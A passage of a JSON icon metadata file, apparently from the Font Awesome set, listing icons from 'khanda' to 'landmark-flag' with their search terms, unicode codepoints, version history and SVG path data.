21.5C72.7 324 63.1 287.9 64.2 250.9c1-44.6 18.3-87.6 47.5-121.1l-25.3-26.4c-9.6 1.3-19.2-2-25.9-9.1-11.3-12-10.9-30.9 1.1-42.4C73.5 40.7 92.2 41 104 53.1zM464.9 8c26 0 47.1 22.4 47.1 48.3S490.9 104 464.9 104c-6.3.1-14-1.1-15.9-1.8l-62.9 59.7c-32.7-43.6-76.7-65.9-126.9-67.2-30.5-.7-60.3 6.8-86.2 22.4l-21.1-22C184.1 74.3 221.5 64 260 64.9c43.3 1.1 84.6 16.7 117.7 44.6l41.1-38.6c-1.5-4.7-2.2-9.6-2.2-14.5C416.5 29.7 438.9 8 464.9 8zM256.7 113.4c5.5 0 10.9.4 16.4 1.1 78.1 9.8 133.4 81.1 123.8 159.1-9.8 78.1-81.1 133.4-159.1 123.8-78.1-9.8-133.4-81.1-123.8-159.2 9.3-72.4 70.1-124.6 142.7-124.8zm-59 119.4c.6 22.7 12.2 41.8 32.4 52.2l-11 51.7h73.7l-11-51.7c20.1-10.9 32.1-29 32.4-52.2-.4-32.8-25.8-57.5-58.3-58.3-32.1.8-57.3 24.8-58.2 58.3zM256 160"
      }
    },
    "free": ["brands"]
  },
  "khanda": {
    "aliases": {
      "unicodes": {
        "composite": ["262c"],
        "secondary": ["10f66d"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Adi Shakti", "chakkar", "sikh", "sikhism", "sword"]
    },
    "styles": ["solid"],
    "unicode": "f66d",
    "label": "Khanda",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M245.8 3.7c5.9-4.9 14.6-4.9 20.5 0l48 40c5.9 4.9 7.5 13.2 3.8 19.9l0 0 0 0 0 0 0 0-.1 .1-.3 .6c-.3 .5-.7 1.3-1.2 2.3c-1 2-2.6 5-4.4 8.6c-.5 .9-.9 1.9-1.4 2.9C344.9 97.4 368 134 368 176s-23.1 78.6-57.3 97.8c.5 1 1 2 1.4 2.9c1.8 3.7 3.3 6.6 4.4 8.6c.5 1 .9 1.8 1.2 2.3l.3 .6 .1 .1 0 0 0 0c3.6 6.7 2 15-3.8 19.9L272 343.5v19.8l35.6-24.5 41.1-28.2c42.8-29.4 68.4-78 68.4-130c0-31.1-9.2-61.6-26.5-87.5l-2.8-4.2c-4-6-3.5-14 1.3-19.5s12.7-7 19.2-3.7L401.1 80c7.2-14.3 7.2-14.3 7.2-14.3l0 0 0 0 .1 0 .3 .2 1 .5c.8 .4 2 1.1 3.5 1.9c2.9 1.7 7 4.1 11.8 7.3c9.6 6.4 22.5 16.1 35.4 29c25.7 25.7 52.7 65.6 52.7 119.3c0 53.1-26.4 100.5-51.2 133.6c-12.6 16.7-25.1 30.3-34.5 39.7c-4.7 4.7-8.7 8.4-11.5 10.9c-1.4 1.3-2.5 2.2-3.3 2.9l-.9 .8-.3 .2-.1 .1 0 0 0 0s0 0-10.2-12.3l10.2 12.3c-5.1 4.3-12.4 4.9-18.2 1.6l-75.6-43-32.7 22.5 45.5 31.3c1.8-.4 3.7-.7 5.7-.7c13.3 0 24 10.7 24 24s-10.7 24-24 24c-12.2 0-22.3-9.1-23.8-21L272 423.4v28.9c9.6 5.5 16 15.9 16 27.7c0 17.7-14.3 32-32 32s-32-14.3-32-32c0-11.8 6.4-22.2 16-27.7V424.1l-40.3 27.7C197.8 463.3 187.9 472 176 472c-13.3 0-24-10.7-24-24s10.7-24 24-24c2.2 0 4.4 .3 6.5 .9l45.8-31.5-32.7-22.5-75.6 43c-5.8 3.3-13 2.7-18.2-1.6L112 400c-10.2 12.3-10.2 12.3-10.3 12.3l0 0 0 0-.1-.1-.3-.2-.9-.8c-.8-.7-1.9-1.7-3.3-2.9c-2.8-2.5-6.7-6.2-11.5-10.9c-9.4-9.4-21.9-23-34.5-39.7C26.4 324.5 0 277.1 0 224c0-53.7 26.9-93.6 52.7-119.3c12.9-12.9 25.8-22.6 35.4-29C93 72.5 97 70 99.9 68.4c1.5-.8 2.6-1.5 3.5-1.9l1-.5 .3-.2 .1 0 0 0 0 0s0 0 7.2 14.3l-7.2-14.3c6.5-3.2 14.3-1.7 19.2 3.7s5.3 13.4 1.3 19.5l-2.8 4.2C105.2 119 96 149.5 96 180.6c0 51.9 25.6 100.6 68.4 130l41.1 28.2L240 362.6V343.5l-42.2-35.2c-5.9-4.9-7.5-13.2-3.8-19.9l0 0 0 0 0 0 .1-.1 .3-.6c.3-.5 .7-1.3 1.2-2.3c1-2 2.6-5 4.4-8.6c.5-.9 .9-1.9 1.4-2.9C167.1 254.6 144 218 144 176s23.1-78.6 57.3-97.8c-.5-1-1-2-1.4-2.9c-1.8-3.7-3.3-6.6-4.4-8.6c-.5-1-.9-1.8-1.2-2.3l-.3-.6-.1-.1 0 0 0 0 0 0c-3.6-6.7-2-15 3.8-19.9l48-40zM220.2 122.9c-17 11.5-28.2 31-28.2 53.1s11.2 41.6 28.2 53.1C227 210.2 232 190.9 232 176s-5-34.2-11.8-53.1zm71.5 106.2c17-11.5 28.2-31 28.2-53.1s-11.2-41.6-28.2-53.1C285 141.8 280 161.1 280 176s5 34.2 11.8 53.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M245.8 3.7c5.9-4.9 14.6-4.9 20.5 0l48 40c5.9 4.9 7.5 13.2 3.8 19.9l0 0 0 0 0 0 0 0-.1 .1-.3 .6c-.3 .5-.7 1.3-1.2 2.3c-1 2-2.6 5-4.4 8.6c-.5 .9-.9 1.9-1.4 2.9C344.9 97.4 368 134 368 176s-23.1 78.6-57.3 97.8c.5 1 1 2 1.4 2.9c1.8 3.7 3.3 6.6 4.4 8.6c.5 1 .9 1.8 1.2 2.3l.3 .6 .1 .1 0 0 0 0c3.6 6.7 2 15-3.8 19.9L272 343.5v19.8l35.6-24.5 41.1-28.2c42.8-29.4 68.4-78 68.4-130c0-31.1-9.2-61.6-26.5-87.5l-2.8-4.2c-4-6-3.5-14 1.3-19.5s12.7-7 19.2-3.7L401.1 80c7.2-14.3 7.2-14.3 7.2-14.3l0 0 0 0 .1 0 .3 .2 1 .5c.8 .4 2 1.1 3.5 1.9c2.9 1.7 7 4.1 11.8 7.3c9.6 6.4 22.5 16.1 35.4 29c25.7 25.7 52.7 65.6 52.7 119.3c0 53.1-26.4 100.5-51.2 133.6c-12.6 16.7-25.1 30.3-34.5 39.7c-4.7 4.7-8.7 8.4-11.5 10.9c-1.4 1.3-2.5 2.2-3.3 2.9l-.9 .8-.3 .2-.1 .1 0 0 0 0s0 0-10.2-12.3l10.2 12.3c-5.1 4.3-12.4 4.9-18.2 1.6l-75.6-43-32.7 22.5 45.5 31.3c1.8-.4 3.7-.7 5.7-.7c13.3 0 24 10.7 24 24s-10.7 24-24 24c-12.2 0-22.3-9.1-23.8-21L272 423.4v28.9c9.6 5.5 16 15.9 16 27.7c0 17.7-14.3 32-32 32s-32-14.3-32-32c0-11.8 6.4-22.2 16-27.7V424.1l-40.3 27.7C197.8 463.3 187.9 472 176 472c-13.3 0-24-10.7-24-24s10.7-24 24-24c2.2 0 4.4 .3 6.5 .9l45.8-31.5-32.7-22.5-75.6 43c-5.8 3.3-13 2.7-18.2-1.6L112 400c-10.2 12.3-10.2 12.3-10.3 12.3l0 0 0 0-.1-.1-.3-.2-.9-.8c-.8-.7-1.9-1.7-3.3-2.9c-2.8-2.5-6.7-6.2-11.5-10.9c-9.4-9.4-21.9-23-34.5-39.7C26.4 324.5 0 277.1 0 224c0-53.7 26.9-93.6 52.7-119.3c12.9-12.9 25.8-22.6 35.4-29C93 72.5 97 70 99.9 68.4c1.5-.8 2.6-1.5 3.5-1.9l1-.5 .3-.2 .1 0 0 0 0 0s0 0 7.2 14.3l-7.2-14.3c6.5-3.2 14.3-1.7 19.2 3.7s5.3 13.4 1.3 19.5l-2.8 4.2C105.2 119 96 149.5 96 180.6c0 51.9 25.6 100.6 68.4 130l41.1 28.2L240 362.6V343.5l-42.2-35.2c-5.9-4.9-7.5-13.2-3.8-19.9l0 0 0 0 0 0 .1-.1 .3-.6c.3-.5 .7-1.3 1.2-2.3c1-2 2.6-5 4.4-8.6c.5-.9 .9-1.9 1.4-2.9C167.1 254.6 144 218 144 176s23.1-78.6 57.3-97.8c-.5-1-1-2-1.4-2.9c-1.8-3.7-3.3-6.6-4.4-8.6c-.5-1-.9-1.8-1.2-2.3l-.3-.6-.1-.1 0 0 0 0 0 0c-3.6-6.7-2-15 3.8-19.9l48-40zM220.2 122.9c-17 11.5-28.2 31-28.2 53.1s11.2 41.6 28.2 53.1C227 210.2 232 190.9 232 176s-5-34.2-11.8-53.1zm71.5 106.2c17-11.5 28.2-31 28.2-53.1s-11.2-41.6-28.2-53.1C285 141.8 280 161.1 280 176s5 34.2 11.8 53.1z"
      }
    },
    "free": ["solid"]
  },
  "kickstarter": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3bb",
    "label": "Kickstarter",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 480H48c-26.4 0-48-21.6-48-48V80c0-26.4 21.6-48 48-48h352c26.4 0 48 21.6 48 48v352c0 26.4-21.6 48-48 48zM199.6 178.5c0-30.7-17.6-45.1-39.7-45.1-25.8 0-40 19.8-40 44.5v154.8c0 25.8 13.7 45.6 40.5 45.6 21.5 0 39.2-14 39.2-45.6v-41.8l60.6 75.7c12.3 14.9 39 16.8 55.8 0 14.6-15.1 14.8-36.8 4-50.4l-49.1-62.8 40.5-58.7c9.4-13.5 9.5-34.5-5.6-49.1-16.4-15.9-44.6-17.3-61.4 7l-44.8 64.7v-38.8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 480H48c-26.4 0-48-21.6-48-48V80c0-26.4 21.6-48 48-48h352c26.4 0 48 21.6 48 48v352c0 26.4-21.6 48-48 48zM199.6 178.5c0-30.7-17.6-45.1-39.7-45.1-25.8 0-40 19.8-40 44.5v154.8c0 25.8 13.7 45.6 40.5 45.6 21.5 0 39.2-14 39.2-45.6v-41.8l60.6 75.7c12.3 14.9 39 16.8 55.8 0 14.6-15.1 14.8-36.8 4-50.4l-49.1-62.8 40.5-58.7c9.4-13.5 9.5-34.5-5.6-49.1-16.4-15.9-44.6-17.3-61.4 7l-44.8 64.7v-38.8z"
      }
    },
    "free": ["brands"]
  },
  "kickstarter-k": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3bc",
    "label": "Kickstarter K",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M147.3 114.4c0-56.2-32.5-82.4-73.4-82.4C26.2 32 0 68.2 0 113.4v283c0 47.3 25.3 83.4 74.9 83.4 39.8 0 72.4-25.6 72.4-83.4v-76.5l112.1 138.3c22.7 27.2 72.1 30.7 103.2 0 27-27.6 27.3-67.4 7.4-92.2l-90.8-114.8 74.9-107.4c17.4-24.7 17.5-63.1-10.4-89.8-30.3-29-82.4-31.6-113.6 12.8L147.3 185v-70.6z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M147.3 114.4c0-56.2-32.5-82.4-73.4-82.4C26.2 32 0 68.2 0 113.4v283c0 47.3 25.3 83.4 74.9 83.4 39.8 0 72.4-25.6 72.4-83.4v-76.5l112.1 138.3c22.7 27.2 72.1 30.7 103.2 0 27-27.6 27.3-67.4 7.4-92.2l-90.8-114.8 74.9-107.4c17.4-24.7 17.5-63.1-10.4-89.8-30.3-29-82.4-31.6-113.6 12.8L147.3 185v-70.6z"
      }
    },
    "free": ["brands"]
  },
  "kip-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Kip Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e1c4",
    "label": "Kip Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M340.8 88.3c13.4-11.5 15-31.7 3.5-45.1s-31.7-15-45.1-3.5L128 186.4V64c0-17.7-14.3-32-32-32S64 46.3 64 64V224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64V448c0 17.7 14.3 32 32 32s32-14.3 32-32V325.6L299.2 472.3c13.4 11.5 33.6 9.9 45.1-3.5s9.9-33.6-3.5-45.1L182.5 288H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H182.5L340.8 88.3z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M340.8 88.3c13.4-11.5 15-31.7 3.5-45.1s-31.7-15-45.1-3.5L128 186.4V64c0-17.7-14.3-32-32-32S64 46.3 64 64V224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64V448c0 17.7 14.3 32 32 32s32-14.3 32-32V325.6L299.2 472.3c13.4 11.5 33.6 9.9 45.1-3.5s9.9-33.6-3.5-45.1L182.5 288H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H182.5L340.8 88.3z"
      }
    },
    "free": ["solid"]
  },
  "kit-medical": {
    "aliases": {
      "names": ["first-aid"],
      "unicodes": {
        "secondary": ["10f479"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["emergency", "emt", "health", "medical", "rescue"]
    },
    "styles": ["solid"],
    "unicode": "f479",
    "label": "Kit Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H96V32H64zm64 0V480H448V32H128zM512 480c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H480V480h32zM256 176c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H320v48c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V288H208c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16h48V176z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H96V32H64zm64 0V480H448V32H128zM512 480c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H480V480h32zM256 176c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H320v48c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V288H208c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16h48V176z"
      }
    },
    "free": ["solid"]
  },
  "kitchen-set": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["chef", "cook", "cup", "kitchen", "pan", "pot", "skillet"]
    },
    "styles": ["solid"],
    "unicode": "e51a",
    "label": "Kitchen Set",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M240 144A96 96 0 1 0 48 144a96 96 0 1 0 192 0zm44.4 32C269.9 240.1 212.5 288 144 288C64.5 288 0 223.5 0 144S64.5 0 144 0c68.5 0 125.9 47.9 140.4 112h71.8c8.8-9.8 21.6-16 35.8-16H496c26.5 0 48 21.5 48 48s-21.5 48-48 48H392c-14.2 0-27-6.2-35.8-16H284.4zM144 80a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM400 240c13.3 0 24 10.7 24 24v8h96c13.3 0 24 10.7 24 24s-10.7 24-24 24H280c-13.3 0-24-10.7-24-24s10.7-24 24-24h96v-8c0-13.3 10.7-24 24-24zM288 464V352H512V464c0 26.5-21.5 48-48 48H336c-26.5 0-48-21.5-48-48zM48 320h80 16 32c26.5 0 48 21.5 48 48s-21.5 48-48 48H160c0 17.7-14.3 32-32 32H64c-17.7 0-32-14.3-32-32V336c0-8.8 7.2-16 16-16zm128 64c8.8 0 16-7.2 16-16s-7.2-16-16-16H160v32h16zM24 464H200c13.3 0 24 10.7 24 24s-10.7 24-24 24H24c-13.3 0-24-10.7-24-24s10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M240 144A96 96 0 1 0 48 144a96 96 0 1 0 192 0zm44.4 32C269.9 240.1 212.5 288 144 288C64.5 288 0 223.5 0 144S64.5 0 144 0c68.5 0 125.9 47.9 140.4 112h71.8c8.8-9.8 21.6-16 35.8-16H496c26.5 0 48 21.5 48 48s-21.5 48-48 48H392c-14.2 0-27-6.2-35.8-16H284.4zM144 80a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM400 240c13.3 0 24 10.7 24 24v8h96c13.3 0 24 10.7 24 24s-10.7 24-24 24H280c-13.3 0-24-10.7-24-24s10.7-24 24-24h96v-8c0-13.3 10.7-24 24-24zM288 464V352H512V464c0 26.5-21.5 48-48 48H336c-26.5 0-48-21.5-48-48zM48 320h80 16 32c26.5 0 48 21.5 48 48s-21.5 48-48 48H160c0 17.7-14.3 32-32 32H64c-17.7 0-32-14.3-32-32V336c0-8.8 7.2-16 16-16zm128 64c8.8 0 16-7.2 16-16s-7.2-16-16-16H160v32h16zM24 464H200c13.3 0 24 10.7 24 24s-10.7 24-24 24H24c-13.3 0-24-10.7-24-24s10.7-24 24-24z"
      }
    },
    "free": ["solid"]
  },
  "kiwi-bird": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f535"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["bird", "fauna", "new zealand"]
    },
    "styles": ["solid"],
    "unicode": "f535",
    "label": "Kiwi Bird",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M291.2 388.4c31.2-18.8 64.7-36.4 101.1-36.4H448c4.6 0 9.1-.2 13.6-.7l85.3 121.9c4 5.7 11.3 8.2 17.9 6.1s11.2-8.3 11.2-15.3V224c0-70.7-57.3-128-128-128H392.3c-36.4 0-69.9-17.6-101.1-36.4C262.3 42.1 228.3 32 192 32C86 32 0 118 0 224c0 71.1 38.6 133.1 96 166.3V456c0 13.3 10.7 24 24 24s24-10.7 24-24V410c15.3 3.9 31.4 6 48 6c5.4 0 10.7-.2 16-.7V456c0 13.3 10.7 24 24 24s24-10.7 24-24V405.1c12.4-4.4 24.2-10 35.2-16.7zM448 200a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M291.2 388.4c31.2-18.8 64.7-36.4 101.1-36.4H448c4.6 0 9.1-.2 13.6-.7l85.3 121.9c4 5.7 11.3 8.2 17.9 6.1s11.2-8.3 11.2-15.3V224c0-70.7-57.3-128-128-128H392.3c-36.4 0-69.9-17.6-101.1-36.4C262.3 42.1 228.3 32 192 32C86 32 0 118 0 224c0 71.1 38.6 133.1 96 166.3V456c0 13.3 10.7 24 24 24s24-10.7 24-24V410c15.3 3.9 31.4 6 48 6c5.4 0 10.7-.2 16-.7V456c0 13.3 10.7 24 24 24s24-10.7 24-24V405.1c12.4-4.4 24.2-10 35.2-16.7zM448 200a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["solid"]
  },
  "korvue": {
    "changes": ["5.0.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f42f",
    "label": "KORVUE",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014458,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 446 512\"><path d=\"M386.5 34h-327C26.8 34 0 60.8 0 93.5v327.1C0 453.2 26.8 480 59.5 480h327.1c33 0 59.5-26.8 59.5-59.5v-327C446 60.8 419.2 34 386.5 34zM87.1 120.8h96v116l61.8-116h110.9l-81.2 132H87.1v-132zm161.8 272.1l-65.7-113.6v113.6h-96V262.1h191.5l88.6 130.8H248.9z\"/></svg>",
        "viewBox": [0, 0, 446, 512],
        "width": 446,
        "height": 512,
        "path": "M386.5 34h-327C26.8 34 0 60.8 0 93.5v327.1C0 453.2 26.8 480 59.5 480h327.1c33 0 59.5-26.8 59.5-59.5v-327C446 60.8 419.2 34 386.5 34zM87.1 120.8h96v116l61.8-116h110.9l-81.2 132H87.1v-132zm161.8 272.1l-65.7-113.6v113.6h-96V262.1h191.5l88.6 130.8H248.9z"
      }
    },
    "free": ["brands"]
  },
  "l": {
    "aliases": {
      "unicodes": {
        "composite": ["6c"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter L", "Latin Small Letter L", "letter"]
    },
    "styles": ["solid"],
    "unicode": "4c",
    "label": "L",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M64 32c17.7 0 32 14.3 32 32V416H288c17.7 0 32 14.3 32 32s-14.3 32-32 32H64c-17.7 0-32-14.3-32-32V64c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M64 32c17.7 0 32 14.3 32 32V416H288c17.7 0 32 14.3 32 32s-14.3 32-32 32H64c-17.7 0-32-14.3-32-32V64c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "land-mine-on": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bomb", "danger", "explosion", "war"]
    },
    "styles": ["solid"],
    "unicode": "e51b",
    "label": "Land Mine On",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M344 24V168c0 13.3-10.7 24-24 24s-24-10.7-24-24V24c0-13.3 10.7-24 24-24s24 10.7 24 24zM192 320c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32v32H192V320zm-77.3 90.5c8.1-16.3 24.8-26.5 42.9-26.5H482.3c18.2 0 34.8 10.3 42.9 26.5l27.6 55.2C563.5 487 548 512 524.2 512H115.8c-23.8 0-39.3-25-28.6-46.3l27.6-55.2zM36.3 138.3c7.5-10.9 22.5-13.6 33.4-6.1l104 72c10.9 7.5 13.6 22.5 6.1 33.4s-22.5 13.6-33.4 6.1l-104-72c-10.9-7.5-13.6-22.5-6.1-33.4zm534.1-6.1c10.9-7.5 25.8-4.8 33.4 6.1s4.8 25.8-6.1 33.4l-104 72c-10.9 7.5-25.8 4.8-33.4-6.1s-4.8-25.8 6.1-33.4l104-72z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M344 24V168c0 13.3-10.7 24-24 24s-24-10.7-24-24V24c0-13.3 10.7-24 24-24s24 10.7 24 24zM192 320c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32v32H192V320zm-77.3 90.5c8.1-16.3 24.8-26.5 42.9-26.5H482.3c18.2 0 34.8 10.3 42.9 26.5l27.6 55.2C563.5 487 548 512 524.2 512H115.8c-23.8 0-39.3-25-28.6-46.3l27.6-55.2zM36.3 138.3c7.5-10.9 22.5-13.6 33.4-6.1l104 72c10.9 7.5 13.6 22.5 6.1 33.4s-22.5 13.6-33.4 6.1l-104-72c-10.9-7.5-13.6-22.5-6.1-33.4zm534.1-6.1c10.9-7.5 25.8-4.8 33.4 6.1s4.8 25.8-6.1 33.4l-104 72c-10.9 7.5-25.8 4.8-33.4-6.1s-4.8-25.8 6.1-33.4l104-72z"
      }
    },
    "free": ["solid"]
  },
  "landmark": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3db"],
        "secondary": ["10f66f"]
      }
    },
    "changes": [
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "building",
        "classical",
        "historic",
        "memorable",
        "monument",
        "museum",
        "politics"
      ]
    },
    "styles": ["solid"],
    "unicode": "f66f",
    "label": "Landmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M240.1 4.2c9.8-5.6 21.9-5.6 31.8 0l171.8 98.1L448 104l0 .9 47.9 27.4c12.6 7.2 18.8 22 15.1 36s-16.4 23.8-30.9 23.8H32c-14.5 0-27.2-9.8-30.9-23.8s2.5-28.8 15.1-36L64 104.9V104l4.4-1.6L240.1 4.2zM64 224h64V416h40V224h64V416h48V224h64V416h40V224h64V420.3c.6 .3 1.2 .7 1.8 1.1l48 32c11.7 7.8 17 22.4 12.9 35.9S494.1 512 480 512H32c-14.1 0-26.5-9.2-30.6-22.7s1.1-28.1 12.9-35.9l48-32c.6-.4 1.2-.7 1.8-1.1V224z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M240.1 4.2c9.8-5.6 21.9-5.6 31.8 0l171.8 98.1L448 104l0 .9 47.9 27.4c12.6 7.2 18.8 22 15.1 36s-16.4 23.8-30.9 23.8H32c-14.5 0-27.2-9.8-30.9-23.8s2.5-28.8 15.1-36L64 104.9V104l4.4-1.6L240.1 4.2zM64 224h64V416h40V224h64V416h48V224h64V416h40V224h64V420.3c.6 .3 1.2 .7 1.8 1.1l48 32c11.7 7.8 17 22.4 12.9 35.9S494.1 512 480 512H32c-14.1 0-26.5-9.2-30.6-22.7s1.1-28.1 12.9-35.9l48-32c.6-.4 1.2-.7 1.8-1.1V224z"
      }
    },
    "free": ["solid"]
  },
  "landmark-dome": {
    "aliases": {
      "names": ["landmark-alt"],
      "unicodes": {
        "secondary": ["10f752"]
      }
    },
    "changes": [
      "5.5.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["building", "historic", "memorable", "monument", "politics"]
    },
    "styles": ["solid"],
    "unicode": "f752",
    "label": "Landmark Dome",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M248 0h16c13.3 0 24 10.7 24 24V34.7C368.4 48.1 431.9 111.6 445.3 192H448c17.7 0 32 14.3 32 32s-14.3 32-32 32H64c-17.7 0-32-14.3-32-32s14.3-32 32-32h2.7C80.1 111.6 143.6 48.1 224 34.7V24c0-13.3 10.7-24 24-24zM64 288h64V416h40V288h64V416h48V288h64V416h40V288h64V420.3c.6 .3 1.2 .7 1.7 1.1l48 32c11.7 7.8 17 22.4 12.9 35.9S494.1 512 480 512H32c-14.1 0-26.5-9.2-30.6-22.7s1.1-28.1 12.9-35.9l48-32c.6-.4 1.2-.7 1.8-1.1V288z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M248 0h16c13.3 0 24 10.7 24 24V34.7C368.4 48.1 431.9 111.6 445.3 192H448c17.7 0 32 14.3 32 32s-14.3 32-32 32H64c-17.7 0-32-14.3-32-32s14.3-32 32-32h2.7C80.1 111.6 143.6 48.1 224 34.7V24c0-13.3 10.7-24 24-24zM64 288h64V416h40V288h64V416h48V288h64V416h40V288h64V420.3c.6 .3 1.2 .7 1.7 1.1l48 32c11.7 7.8 17 22.4 12.9 35.9S494.1 512 480 512H32c-14.1 0-26.5-9.2-30.6-22.7s1.1-28.1 12.9-35.9l48-32c.6-.4 1.2-.7 1.8-1.1V288z"
      }
    },
    "free": ["solid"]
  },
  "landmark-flag": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["capitol", "flag", "landmark", "memorial"]
    },
    "styles": ["solid"],
    "unicode": "e51c",
    "label": "Landmark Flag",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
